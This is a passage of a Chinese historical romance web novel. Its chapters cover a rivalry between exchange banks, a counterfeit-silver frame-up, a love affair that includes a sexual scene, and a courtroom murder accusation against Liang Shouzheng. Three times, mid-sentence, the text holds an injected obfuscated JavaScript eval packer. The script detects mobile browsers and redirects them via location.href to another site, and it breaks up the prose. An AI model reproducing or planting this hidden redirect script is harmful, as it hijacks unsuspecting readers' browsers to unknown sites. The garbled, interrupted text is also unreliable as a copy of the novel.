说完又狼吞似的夹一箸菜塞嘴里，嚼得腮帮鼓动，张婶白他一眼，气道：“你就知道吃，儿子的终身大事是半点不上心。” “天地良心，我成日央着一块做工的几个老伙计帮忙留意适龄姑娘，现在人人说起来都要笑话我两句，老脸都丢泥坑里去了......再说了，咱儿子自个儿不急，一门心思捣鼓木头，我急有什么用，又不是我讨小老婆。” “你倒是敢！”张婶上去在他大臂上狠拧了一把。 “哎呦，不敢不敢，”陈二柱叫唤的声音大，实则早习惯了，竹箸还稳稳握在手里，“娶你已经是我上辈子积德行善换来的，哪能又那些天打雷劈的念头，快吃饭吧，趁儿子今儿不回来，吃完饭咱抓紧过一过夫妻生活。” “老不正经。”张婶嗔着又拧一把，脸上却掩不住笑意，坐下吃饭了。 ... 广兴票号里，梁宸为自家票号生意发愁，跟霜打的茄子似的蔫头耷脑，提不起半点精神。 票号里其他人虽不敢当面议论，私下里没少因为他的身份嚼舌根，季灵儿但凡听见都替他驳回去了。 “他家是他家，如今咱们同在一个屋檐下，就得一条心往前走。” 伙计撇嘴：“人家不见得跟咱一条心呐。” “管不了别人的心，总能管好自己的嘴，再让我听见小心告诉偷偷跟掌柜的递小话，扣你们月钱。”季灵儿半玩笑半认真地撂下话。 她素日同伙计们关系处的不错，又是扬眉吐气的大功臣，伙计顺着话玩笑几句，没再提梁宸的是非。 背地里维护，当着面又故意同他找茬：“怎么，梁师兄二十年没遇过挫折，一朝遇上难事就歇菜了？” 梁宸心绪不佳，黑着脸让她滚远些。 季灵儿也不恼，又道：“你爹吃了这么大的亏，是不是又把账记在我头上了？” 梁宸瞧也不瞧她，哼道：“本就是你搞的鬼。” “就算是吧，”季灵儿这次没否认，“你爹打算怎么报复我？” “我爹才不会跟你一个臭丫头计较。” “那可未必。” 梁宸反应须臾，终于抬头看她：“你什么意思？” 季灵儿挑眉：“敢不敢打赌？” 梁宸听她提条件简直杯弓蛇影，不欲理睬。 “赌你爹不出两日会来报复。”季灵儿自顾往下说，嘴角扬起一抹狡黠的笑，“若我猜中了，你答应我一个条件，若我猜不中，随你处置。” 梁宸：“不赌。” “不敢？”季灵儿故意激他：“看来你也没那么相信你爹嘛。” “没什么不敢的，就是不屑跟你赌。”梁宸吃一堑长一智，再不跟她赌了，况且眼下他着实没心情。 “那算了。”季灵儿满脸失望叹了声，没再纠缠他。 几家欢喜几家愁，汇通票号经历几波取兑的冲击后，账面拿不出一厘现银，梁守正不得已调用了私账，放血一般自掏腰包往外垫银子，心疼得几日吃不下饭。 这日傍晚，管家支开所有人，独自入内禀报：“东家，都布置妥了。” 梁守正：“还能靠得住吗？” 管家：“您放心，上次是上了那丫头的当，这次保证万无一失。” 梁守正：“再出岔子，别怪我不念旧情了。” 管家点头保证，听他安排完具体行动时间，又问：“要知会公子一声吗？” 梁守正冷笑：“在他心里，秦劭的分量不比我这当爹的轻，如今又在那里做事，知道我们对付秦家票号，指不定要坏事。” 白日季灵儿的话在梁宸虽不信，到底在心里埋了种子，回府后鬼使神差往书房方向踱去，无人看守，他便毫不费力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655057|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听了全程。 季灵儿那句“赌你爹会报复”在耳畔炸响。 又让她说准了。 “砰”地一声推开书房门，目光扫过父亲与管家凝滞的脸，寒声道：“你们要做什么不让我知道？” 梁守正神色骤变，厉喝：“谁准你进来的！” ... 梁宸回家后的震惊在季灵儿预料之中，但她没想到的是，她推开家门时的表情比梁宸差不了多少。 一进巷子遇见几个邻居，个个挂着笑脸，亲切同她招呼，嘴上还说什么有好福气，嫁了个模样俊俏又体贴的丈夫，季灵儿听得一头雾水，勉强笑着应付几句。 直到在陈家门前与择菜的张婶搭话，彻底明白是怎么回事，一见秦劭便红着脸兴师问罪。 “谁准你以我丈夫的身份四处招摇！” 秦劭早有防备，剥好的莲子放进碗中，站起身道：“家中贸然住进男子，传出去于你名声有碍，左右你从前同人说过有个在外做工的丈夫，我就顺水推舟顶个名头，替你挡些闲言碎语。” “你不住下便没有人说闲话，”季灵儿不仅不买账，见他这副从容模样，更觉被他算计得彻底，气急了开始推着人往外撵，“我这里庙小容不下大佛，你还是回客栈住吧！” 秦劭半推半就退到院门外，跨过门槛后忽然站定，季灵儿没顾上留意脚下，被绊得身体前倾，整个人栽进他怀里。 “当心。” 秦劭长臂一揽，环住细腰把人带进怀里，低头凑到耳边哄：“一个名头而已，又不实在做什么，别恼了。” 薄唇贴近她耳珠，唇瓣张合间有几次甚至都碰上了，温热触感和轻缓吐息交织带起酥麻。 季灵儿指尖抵在他胸前推拒，奈何手下肌理坚实，自己那点力气反倒像欲拒还迎。 他就是早有预谋！ 自己则是被他一步步诱入陷阱的猎物，眼下唯有任人宰割的份，气鼓鼓道：“这还不叫做什么？” “方才是怕你摔着。”他声音里带着无辜，揽在她腰后的手反倒收得更紧。 “你不突然停下我能撞上吗？”季灵儿仰头瞪他，正撞见未及收回的笑意。 秦劭仍端的一派淡定：“我怕你被门槛绊着才停的。” 她确然是被门槛绊的，季灵儿怀疑他有意却辩驳不得。 “而且外头有人瞧着，闹大了不好看，我原本想提醒你的。”秦劭低声道，示意她看不远处。 季灵儿这才察觉到不远处有人正朝这边望，脸上堆满暧昧笑意。 她顿时僵住，羞恼得耳根发烫，抬手狠狠掐上他腰侧，压低声音咬牙道：“你故意的！” 秦劭吃痛地“嘶”一声，直勾勾望进她眼底，眸中柔光流转，似真有几分委屈，控诉她无理取闹，“冤枉。” 季灵儿咬唇瞪他，冤枉不冤枉的，话已放出去了，又让人瞧见搂搂抱抱，她是跳河也洗不清了。 “进去说。” 偏有人得了便宜还卖乖，抱着不肯松手，非要得一个答案：“还赶我走吗？” 季灵儿气得去掰他手指，被他反手扣住腕子，欲后退挣开，鞋跟抵上门槛，身子收不住势头向后倾，全靠他手臂用力托住。 被困于如此奇怪的姿势里，季灵儿一时失语，终是败下阵来，咬着后槽牙反问：“你肯走吗？” “不肯。” “无赖！” 秦劭眼底笑意加深，心满意足松了手。 73. 兔子 翌日季灵儿起身出来时，正见秦劭坐在院中的木凳上，怀里抱着她的兔子，耐心逗喂着，他修长的手指没入雪白的绒毛里，或捏捏小脑瓜，或顺着脊背轻抚。 小兔子乖巧窝在他膝头，三瓣嘴慢悠悠嚅动，耳朵随着咀嚼的动作抖动。 温柔的动作混在晨光里，教人不觉心驰，诱得她想凑近些，再近些，把自己也圈进那片温柔的光影里。 “我瞧您不像是被家里赶出来了，而是被商行赶出来了。”拢了拢衣襟跨出房门，揶揄的语气里带着一丝不易察觉的酸。 从前他可是准时准点往商行去，忙起来不着家也是有的，如今倒有闲情逸致在这里哄兔子。 秦劭闻声抬眼，目光清润，直直看向她：“若真如此，我便更有理由赖你了。” 他答得太过坦荡，季灵儿一时噎住，强自镇定地哼了一声：“还算有些自知之明。” “心思都被你勘破了，自是装不下去。”秦劭笑起来，手掌仍顺着兔子脊背的绒毛梳理。 那兔子眯着眼，在他腿上瘫成软绵绵的一团，不知是因吃饱餍足，还是被他掌心动作哄得舒服。 想必是极舒服的，季灵儿想，他哄人的功夫她亲身领教过，清楚其中厉害。 青天白日，她望着那团雪白的绒毛，思绪竟飘忽起来，视线不由自主地落在他手上，那骨节分明的手指，也曾温柔地抚过她的肌肤，带着灼人的温度，甚至更深入地探索翻覆，掀起过惊心动魄的浪潮…… “饿了吧？”他忽然出声，惊散了她脑中翻涌的绮念。 季灵儿不禁将他的问话和脑海里的画面联系起来，猝然意识不妥，张口欲答，因太紧张舌尖不慎被贝齿磕了一下。 好痛。 秦劭唇角不可察地弯了一下，“我煮了粥，在灶上温着。” “哦，”季灵儿低声应了，慌忙转身往厨房走。 秦劭抱着兔子跟了上来。 “跟着我做什么？”季灵儿脑子还蒙着，说话愈发露怯。 “吃饭。”他答得理所当然，紧盯着她盛粥的动作。 季灵儿单给自己盛一碗，兀自坐下，小汤匙舀着，吹散热气往嘴里送，全然不顾旁边巴巴望着的人。 她知道他等什么，可他等她就要依吗？ 想得美。 雪白的兔耳朵从他臂弯里探出来，一双红眼睛同他一齐望着她。 季灵儿终是受不住两双眼睛的注视，没好气道：“你不能放下它吗？” “它黏人，放下怕要不高兴。”秦劭抬了抬臂弯里的白团子，语气颇为无奈，“跟它主人睡觉时一模一样。” “我......”季灵儿忍住辩驳，狠狠剜他一眼：“那你就饿着。” 秦劭从善如流地低下头，指尖点了点兔子的长耳朵，低声道：“瞧见没？你主人心肠真硬。” 季灵儿看着眼前这个年过三十，执掌一方商行的男人，端着一副幼稚情态跟兔子控诉，好气又好笑。 她若心肠硬，便不会有他站在此处碍眼的机会了。 视线从他落到兔子身上，灵机一动，道：“心肠硬要看对谁，对这可爱的小东西，我可舍不得它饿着，何况——还是陈大哥送的。” 秦劭隐在眼睫下眸光凝滞，笑意迅速褪去，没再说什么，转身大步出去，将兔子放回墙根的围墙里了。 季灵儿占了上风，喝白粥都格外香甜，快速用完粥，换衣裳往票号去。 梁宸并未出现在票号，家中遣小厮来，称身体抱恙告假两日。一切如预料发展，代表着梁家要动手了。 筹备良久，成败在此一举，季灵儿心中难免忐忑，整个上午坐立难安，尽可能给自己找事情转移精力。 将近午时，掌柜神秘兮兮地将季灵儿请到票号后堂的一间休息室，推门便见秦劭正襟坐在主位一侧的太师椅上。 季灵儿怔在门口：“你怎么来了？” “东家和少夫人慢聊，有事随时招呼。”掌柜躬身请她进去，细心地带上门。 秦劭点了点桌上食盒，含笑看她：“来给少夫人送午膳。” 季灵儿嗔怪地瞪他一眼：“什么少夫人。” 先前阿吉口口声声唤她少夫人她未置一词，掌柜称呼她未纠正，偏他说一句便恼了。 秦劭品着其中滋味，剑眉挑起几分兴味，“旁人唤得，我唤不得？” 旁人唤只是一个称呼，季灵儿并不计较，他唤的时候尾音故意挑着，如同生出了爪子，专挑怕痒的地方挠，她如何消受的了。 “你唤的不正经。” “哦？哪里不正经？有劳少夫人同我分说分说。”他眸光灼灼，又是一副假正经的讨教。 季灵儿偏不接他的话往坑里跳，一屁股在另一侧凳子上坐下，兀自解开食盒扣环。 盒盖掀开，是一碟枣糕，还有一份香气浓郁的烤肉，但她分辨不出是什么。 秦劭看出她疑惑，贴心道：“是兔肉。” “兔肉？” 季灵儿率先想到自己院中那只，猛地抬头，眼睛一眨不眨盯着他。 秦劭轻轻颔首：“想的不错，就是你院子里那只。” 季灵儿观了一会儿他的神色，又看向盘中，旋即执箸夹起一只兔腿，故意端详：“我那只兔子没这么肥美吧？” “少夫人好眼力。”秦劭笑得宠溺。 季灵儿得意地扬了扬下巴，将兔腿放回盘中，再看两样食物，隐隐觉得有些不对。 兔肉，枣糕......早晨她提陈胜松只为让他吃瘪，争一时上风，眼下彻底回过味儿来，哭笑不得。 “真吃上陈大哥的醋了？” “你专门告知，不就要看我吃味吗？陈大哥......”秦劭舌尖碾过这个称呼，语气微凉，“唤别人倒是亲热。” 她已很久没正经唤过他了。 季灵儿从未将他同“吃味”两字联系过，这事放他身上太过违和，且当初他们还有夫妻名分，她同云衡走得亲近他都未曾多言，如今却为一个普通邻居计较。 品着话里几乎要溢出来的酸意，季灵儿莫名忍俊不禁，索性顺着话茬堵他：“是啊，陈大哥人很好，不仅送我兔子，还替我修桌椅，就连你如今住的那张床，也是他修的。最重要的是——” 说到这儿顿了顿，笑盈盈凝着他。 薄唇紧抿成一条直线，下颌线条亦绷得冷硬，足见牙根咬的有多紧。 她眨了眨眼，无辜地歪头：“怎么了？你脸色不太好看。” 秦劭以为，这么独一无二的小姑娘招人惦记是应该的，他怎么会因为一个陈胜松吃味呢，不可能的！ 只是装装样子，顺着她的意逗她一乐罢了。 见小姑娘的得意全然摆在脸上，秦劭顺势说服自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663548|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，松下紧绷的心弦，温声开口：“无事，你继续说。” “最重要的是，陈大哥为人老实忠厚，不会耍弄身边的人。”季灵儿说到“耍弄”二字时刻意加重了语气，暗戳戳怼他。 “可你不喜欢他。”秦劭眉梢藏着笑意，字字利落坚定。 季灵儿不服：“你又不是我肚子里的蛔虫，怎知我不喜欢他？” 秦劭：“喜欢就不会故意在他面前说‘我家那口子喜欢竹子’这样的话了。” 季灵儿语塞，知那日她随口搪塞的借口被阿吉听去，此刻被他当面点破，只觉得耳根发热。 她不甘示弱，强撑气势反驳：“你不懂，这叫欲擒故纵。” “欲擒故纵？”秦劭若有所思地点头，忽而倾身向前，隔着小桌捕捉她目光，“那我现在是不是也可以把你在我面前夸别人的话，理解为你在对我欲擒故纵？” 他的气息近在咫尺，季灵儿能看清他眼中自己的倒影，嘴角抽搐似的一扯：“你，你莫要自作多情了！” “我从未提过，你却知道我喜欢竹子，怎么看都不算我自作多情呐。” 季灵儿从未觉得他这张嘴如此厉害，一句接一句将她堵入死胡同，就差逼她承认心中有他，放不下他。 再计较下去，真承认了也说不好。 索性咬一口兔肉堵住自己的嘴，腮帮鼓鼓地嚼着。 秦劭见她偃旗息鼓，不再咄咄逼人，待她啃完一只兔腿，将枣糕推上前：“尝尝这个。” 季灵儿漱过口，捏起一块品尝。 “甜吗？”他问，目光落在她沾了点糕屑的唇瓣上，眸色渐深。 她下意识地点点头。 秦劭：“比陈大哥给的甜吗？” “......”季灵儿白他一眼，这人没完了？ 秦劭的确不依不饶：“怎么不说话？” “先生！”季灵儿板起脸，正色唤他，“我跟你现在没有那种关系，请摆正自己的位置！” 秦劭低头慢慢嚼完一整块枣糕，平静道：“是不甜。” ... 用过午膳秦劭并未离开，而是借查看票号账目的由头留了下来。 半晌里，季灵儿虽未与他有太对私下交谈，但知道人在商行，心里比上午踏实许多，后知后觉懂了他为何忽然跑来查账。 一直待到傍晚票号落锁，两人一同离开票号，并肩往回走。 季灵儿扯了扯他的衣袖，轻声道：“还是要多谢你。” 秦劭停下脚步，偏头看她：“谢我什么？” “谢你今日过来。” 他显然在明知故问勾她的答案，季灵儿单纯道谢被引地难为情起来，后面半句“让我很安心”终究没说出口，只化作一抹浅笑挂在唇边。 顿了顿，接道：“晚膳想吃什么，我请客。” “想吃什么都可以？” 秦劭余光捕捉到握在衣袖上的手有收回之势，反手扣住。 季灵儿一声“嗯”刚落下，被这动作惊得愣了须臾，一边挣脱一边强调：“我问的是吃的，食物！” 秦劭并不松开，反倒十指相扣牵着她，“紧张什么，我说的也是吃的，不过是你素日不太喜欢的，这才确认一下。” 季灵儿半信半疑，“那你说就是了，把手松开。” “这算利息。”话音落，牵着她继续往前走。 74. 缠她 广兴票号库房漆黑不可视物，移动的火折子扫过整齐上锁的箱柜，执火折的黑影在其中一处站定，钥匙在铁孔前颤抖几下才对准锁芯插入。 咔嗒打开的瞬间，库房的机关门滑开，数支浸了油的火把骤然亮起，火光映出数双眼睛。 黑影骇得魂飞魄散，怀中包袱重重砸在地上裂开，几块银子滚出来，被火光照得格外刺目，回首对上为首之人深涧般的目光，两条腿抖成筛子，颤巍巍道：“掌柜的，你听我解释。” “竟是你，冯十！”掌柜面色从错愕到震怒，“你在我广兴做了五年库房管事，没想竟是个吃里扒外的！” 冯十狡辩：“我，我只是一时鬼迷心窍，想换些银钱出去应急......” 掌柜弯腰捡起地上的银锭放在火把下端详，“造的挺逼真，造假的花费够你吃喝几年了，还应急，撒谎不打草稿！” ... 梁府。 梁守正焦灼地来回踱步，又一次问管家：“还没消息吗？” 管家摇头说没有。 梁守正眼皮突突直跳：“不会出什么岔子吧？盯着那丫头的人呢，可有回话？” 管家：“一直跟着呢，回来报的人说她正跟秦大当家在酒楼吃酒呢，不像是有准备的样子。” “老爷放心，即便那冯十被逮了，咱不承认便是，秦家拿不出真凭实据，便不能硬往咱们头上扣罪名。” 是了，他素日没少往官府送好处，衙门那边早已打点妥当，出不了什么事。 梁守正暗暗给自己宽心，他什么大风大浪没见过，不能自乱阵脚。 ... 季灵儿晚膳用得心不在焉，几番停箸出神，秦劭有所察觉，在外人多口杂并未多话，回到家中才开口问：“打算何时收网？” 此事本就瞒不过他，他不问她不主动提，他问了，季灵儿也不瞒着：“不急，耗一耗他。” “你是伤敌一千自损八百。”秦劭一针见血，戳破她的逞能。 悬心的滋味不好受，耗着梁守正担惊受怕，对她亦是煎熬。 “我顶得住。” 秦劭走近些，揉着她的发顶，温声开口：“若要对簿公堂，我陪着你去。” 季灵儿摇头：“我可以自己面对。” 秦劭俯身凑近：“那我们做些别的，替你忘了害怕的事，好不好？” “做什么？” 她茫然抬眼时，不偏不倚迎上他落下的唇。 “唔，先生......”惊慌地推拒，双手反被攥着反剪身后。 “我现在不喜欢这个称呼。” 他一手掌控她葇夷，一手托着后颈，她只能被迫仰起头，方便他将吻加深。 因他倾身压着她，不容挣扎逃脱，这一吻，掠夺意味格外浓烈，与以往的温柔截然不同，亦不似被她惹怒后的惩罚式啃咬。 更像浸泡温泉，初时周身被温柔包裹会觉突兀，会因冷热交替颤栗想逃开，但当热意缓缓渗入肌肤，血脉一寸寸熨开，紧绷的神经逐渐松弛，呼吸在辗转厮磨间交融，融化成绵软的絮，深深沉溺其中。 秦劭的深情，渴望，掌控，尽数渗在掠夺的吻中，她感受到了，油然生出侵蚀心神的舒服。 这才是真实的他，从前在她跟前的克制分寸全是伪装。 掌心下的身体渐渐发软，秦劭试着松了力道，愈发忘情地缠她。 思念宣泄如潮水决堤，教人忘了时间。 良久，终于退开些，喘息未稳地望着她泛红的唇，喑哑开口：“这个姿势很适合吻你，上次在门口我便想了。” 果真被她猜中了！ 季灵儿讥笑：“现在是懒得装了？” “并非伪装，只是从前不自知对你有多渴望。” 他的渴望已溢出眼底，势要将她吞没，季灵儿难耐地别开脸，不屑哼了声：“花言巧语。” 秦劭来者不拒，在她送上来侧脸上啄吻，一直吻到耳根，点火柴似的，每到一处便燃起一团绯红。 “你的身体在诚实地回应我，它说想要。” “我......你.......”耳垂被含住轻啮，季灵儿轻颤着吸气，语无轮次，“不能如此.....我们不能......” 他们已不是夫妻，她亲手划下界限的。 秦劭腾出一只手抚上她脸颊，捧回来，温情脉脉地望进蒙着雾气的眸：“看我眼睛说，不能什么？” 她从前看着他的眼睛尚不能撒谎，何况这种情形。 “就是不能。”毫无威慑力地反驳。 秦劭指腹摩挲过她的眼睑，停在那颗不起眼的泪痣上，替她开口：“你不想再同做回夫妻，只想保持先生和弟子的关系，所以我不能亲你，不能碰你，不能做夫妻做的事，对吗？” 尽是她想反驳的话，从他嘴里说出来，季灵儿只觉酸涩难抑，甚至刺痛。 他被狠话拒绝之时，也是同样的滋味么？ “当真不想吗？不能吗？”秦劭凝着她，循循善诱，“勇敢些面对自己的心意，像你面对旁的事那样，不好吗？” 季灵儿被问住了，盯着他眼中自己的倒影陷入迷惘。 “或者，”秦劭见她挣扎终是心疼，让步道：“当是我为你纾解抵借住的费用，如此心里可会好受些？” 这是什么话？ 季灵儿满脸匪夷：“那你岂不成了.......” 她抿紧唇瓣咽下后半句。 “没办法，寄人篱下总要学着低头。”秦劭故作无奈轻叹。 “那......抵多少？” “......”小姑娘还真是一提钱就来兴致。 秦劭失笑：“要看少夫人的满意程度了。” 发掘新思路后季灵儿果然没有原来那么抗拒，含羞带臊地垂下眼睫，盯在他方才因自己挣扎散开一道口的衣襟上。 秦劭心领神会，眸中掠过得意，鼻尖抵住她的，来回轻蹭，磁性的嗓音极尽蛊惑之能。 “说好了，今夜不想其他的，只想我，我带你舒服，嗯？” 季灵儿红着脸埋进他颈窝，声音细若蚊吟：“看你表现。” 乌云骤压天幕，风雨欲来，茂密的枝叶翻腾如绿波，湿热带潮气的风一阵接一阵，撞在未掩周全的门窗上，嘭啪作响，盖过人声。 晨起她看他哄兔子时浮现在脑海的旖旎场面尽数成真，又不止于此。 他吻她，吮她，惹得她连连泄洪，软软瘫在榻上喘息。 捏在他耳垂上的葇夷无力地滑落，又被他握住，噙住指节轻吻。 “表现好的话少夫人可否额外答应我一件事？” 她乏了，从鼻尖溢出极轻的“嗯？” “往后我不睡那张床。” 季灵儿尚在反应，对方已撑着胳膊从身下挪到眼前，直勾勾盯着她春情诱人的脸颊，躲无可躲。 “不睡陈大哥修的床。”他语气含酸地补充。 笑意按捺不住从嘴角溜出，她有气无力地嗔道：“随你，睡柴堆都没人管。” “柴堆太硬，我喜欢香软的，暖的......” 惊雷沉沉滚过屋顶，震得小姑娘打了个寒颤，主动将身子送进火热怀抱，雨点紧跟其后砸落，滋润被烈日炙烤多日的土地，热气蒸腾而起，消散于风。 兴奋已久的庞然没入温软润土，更加羞人的话亦淹入吟哦。 夜久雨休风又定，断云流月却斜明。 坠入梦乡之前，季灵儿依稀听得他在耳边细诉，说什么小雪人，然而身心实在疲累，她没能撑起意识听全。 ... 惊雷在梁守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667625|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正耳边滚了一夜，瓢泼大雨哗啦啦打在瓦片上，声势浩大地似要将天井淹没，等不到天明，他披衣起身唤来管家，吩咐：“先把宸儿送走。” 他不怕同季灵儿和秦家较量，但保险起见，不能让儿子牵扯其中。 管家：“公子已闹了一日了，定是不肯走的。” “绑也要把他绑走，等风波平了再说。” 管家立即领命去安排。 天亮时分，冯十气喘吁吁跑回梁家，浑身湿透，喘着粗气称昨夜为调包银两被锁在票号不得出来，今早一脱身立即赶来报信。 梁守正未完全放下心，锐利目光审视他，“一切顺利？” “顺利，顺利，”冯十奉上一直抱在怀中的包袱，急喘几口气，平了呼吸，接道：“您瞧，这是小的换出来的，小的生怕出岔子，等到后半夜才敢动手，换的也是最里侧的银两。” 梁守正同管家验过银两成色，确认无误后，神色终于松弛下来，挥手让管家带冯十下去。 ... 申时，几名差役把着刀闯入广兴票号，带头之人亮出腰牌，扬言接百姓状告，从票号兑出假银，奉命搜查，让掌柜带路库房。 然一队人翻箱倒柜，箱笼尽开，并未搜出任何假银。 差役带掌柜回到县衙，将搜查情形如实禀报县令。 堂上明镜高悬，县令一拍惊堂木，转向堂下跪着的告状人：“你还有何话说？” 告状人惶恐道：“大人明鉴，小民的确是从广兴票号取的银子，且不止小民自己有此情况，汇票和假银您都验过的呀，定是他们有所察觉，毁灭罪证了。” 其余几人附和应是。 县令眉头深锁，质问掌柜。 掌柜伏地叩首，将昨夜抓到冯十换银之事和盘托出，县令当即命人将冯十押来问话。 差役没找到冯十，只带来了掌柜指认的幕后主使梁守正。 梁守正镇定自若，拱手行礼后朗声道：“大人明察，草民与冯十素无往来，掌柜空口指认，可有凭据？” 说着一双眼睛扫过掌柜，带着三分讥讽，“若无实证，这便是诬告。” 正当堂上僵持不下，衙门外忽然响起清亮女声：“民女有证供呈上！” 梁守正闻声回首，见季灵儿双手高捧一叠文书站在栅栏那侧。 县令宣她上堂，左右将文书呈至案前。 展开细览，竟是私铸银两的模具图样，还有冯十和黑市铸假人画押的证词，两份证词皆直指梁守正。 季灵儿：“大人，我朝律法明载，私铸银钱者，无论主从，皆流三千里。那铸假之人惧罪，早已向知府衙门自首，知府大人仁德，许他戴罪立功，民女所呈皆由知府亲批文书为证。” 梁守正高呼冤枉：“大人，此乃诬陷。” 她拿知府压阵，县令神情亦凝重，再检查文书，确系知府衙门朱批，印鉴分明，不由得不信。 见形势不对，先前为梁守正作证的几人面面相觑，其中一人突然叩首，颤声：“大人饶命，小人愿招供......是梁守正许我等银两，要我等替他作伪证。” 墙倒众人推，其余几人纷纷叩首翻供，直言受梁守正指使。 铁证如山，又有知府压力在前，县令纵然有心维护，不好当众偏私，握着惊堂木思索如何宣判。 季灵儿一提裙角，腰背挺直跪于堂中，正色道：“大人，民女还要告梁守正谋害其发妻季璇之罪！” 堂外围观的人群炸开哗然，梁宸亦混在人群中，闻言惊愕非常，一把拨开前面人的肩膀，十指紧紧攥住栏杆，半个身子探进栏内。 “你胡说什么！” 人群之外的秦劭听到最后，险些将指上白玉扳指捏碎。 从未听她提及半个字，如何突然在公堂之上状告梁守正谋杀？ 75. 惊险 人命案子非同小可，一旦翻案不成，会以反坐之名论罪。 秦劭从震惊中回神，抽丝剥茧地回忆今日种种。 他还是大意了，只知她因季璇当年受审后不久丧命惧怕公堂，忽略了她的心不在焉早超出寻常恐惧。 心中藏着一桩大事，难怪今日出门前格外沉默，连他抱她亲她都不同他闹。 是他太得意忘形了！ 以为足够了解她，以为是经过昨夜缠绵，她肯接受同自己亲昵。 秦劭又悔又恼，恨不得给自己两巴掌。 好在他脑子清醒，立即稳住心神，极快速度捋清眼下形势，叮嘱阿吉留守跟看堂审情况，疾步离开县衙。 堂上梁守正听季灵儿状告万分惊愕，但他细思当年之事，确信无疏漏，很快稳住心神，拱手躬身道：“大人明鉴，我妻季璇三年前因病去世，殡仪录册，何来谋害一说？” 季灵儿：“民女有证人！季家从前的管家季全，他曾目击梁守正谋害季璇的情形，大人可召来问话。” 季全已候在外，听命颤巍巍临堂，将三年前在窗外见到梁守正与季璇争执的经过一一道来，连砸向季璇后脑使其致命的砚台形状，颜色皆描述得清晰无遗。 堂外梁宸听得失了神，到最后耳边尽是嗡鸣，双目漆黑一片，不知该瞧谁，只是空洞地望着前方。 梁守正脸色铁青，他不知当年之事有目击者，仗着季璇无亲族撑腰，将凶案瞒下，对外称夫人因忧心过度突发急症不治，以为此事随季璇下葬埋于黄土，永无见光之日。 强压下惊悸，辩道：“季全老迈糊涂，如何能将三年前的细节记得如此清楚？分明是受人指使，妄图污蔑草民，大人万不可不可听其一面之词！” 季灵儿料他有此一辩，接道：“一面之词不可信，眼见总能证实，民女恳请县令开棺验尸。” “不成！”梁守正当即反驳，转头怒斥她：“死者为大，我乃季璇丈夫，你是何身份，竟敢妄言开棺，扰亡者安宁？” “我求的是天道公理，是一个真相。”她迎上他充满戾气的目光，反问：“你阻拦开棺验尸，难不成是心中有鬼？” 梁守正还欲辩驳，县令一拍惊堂木喝止，肃声对季灵儿道：“命案非同小可，若开棺验尸确无外伤，本官当以诬告罪论处，你还坚持开棺验尸吗？ 梁守正借势相劝，语气颇显沉痛：“夫人确实因突发恶疾而亡，三年过去，还能验出什么？你听信一个老仆胡言把自己性命搭进去，让她如何瞑目？我劝你别再执迷不悟了，好生过日子，夫人在九泉之下才能安心。” “我这条命是师父救的，弄清她真正的死因，不叫她枉死，才是对她最大的告慰。” 季灵儿毫不动摇，说罢转向县令，伏身一拜：“民女愿立状具结，甘受反坐之罪。” 梁守正没想到，一个和季璇无半分血缘的小丫头，竟肯豁出性命替她翻案。 可人死三年，尸身早腐，能验出什么？即便验出伤，又如何证明是他所为？对，老仆之言不足为信…… 梁守正心中天人交战，县令沉吟片刻，准奏开棺。 季璇生前与梁守正是夫妻，死后尸首葬于梁家祖坟，季灵儿从前只能拜一拜孤山上她为师父立的衣冠冢，没想到第一次拜师父的坟茔，竟是以开棺验尸的方式。 盛夏的雨水盖不过暑气，周遭人满身浸汗，她只觉得瑟瑟阴风往领口灌。 季灵儿从前怀疑过师父死的蹊跷，但并无证据。直到那日季全骂梁守正的时候脱口而出一句“杀人凶手”。季全本不欲多说，解释为太过痛恨梁守正一时失言，在她百般追问下才道出真相。 唯有他一人看见，季璇又去了，无凭无据，说出来根本无法定梁守正的罪责，只能将事情埋在心底。 季全劝过她，不可感情用事，没得再把自己折进去。 可季灵儿不甘心，没有师父赎她出青楼，她的人生不知道会是怎样，她要替师父夺回票号，也要杀人者付出代价。 她提前查问过，鸩毒致死者，尸体腐烂后很难查验出死因，但重物致命则会在骨骼上留下痕迹，只要开棺对照骨骼上的伤痕，便可证明季全之言。 所以她选择以命相搏，赌一个公道。 差役在坟冢上搭好棚帐，掘开封土，被雨水浸泡过的泥土混着腐叶被一锹一锹掀上来，堆成新的小丘。 棺木打开，腐臭彻底掩藏不住，围观者齐齐掩鼻侧身，不少干呕欲吐。 季灵儿也想吐，却不是因为恶臭。 她很紧张，很害怕。 忍不住想，若尸骸上并未留下痕迹该如何？若检验了尸骸依旧不能为师父洗刷冤屈又该如何？...... 想着想着，才发现自己竟是怕死的。 尸骨曝于天光之下，仵作奉命查验。 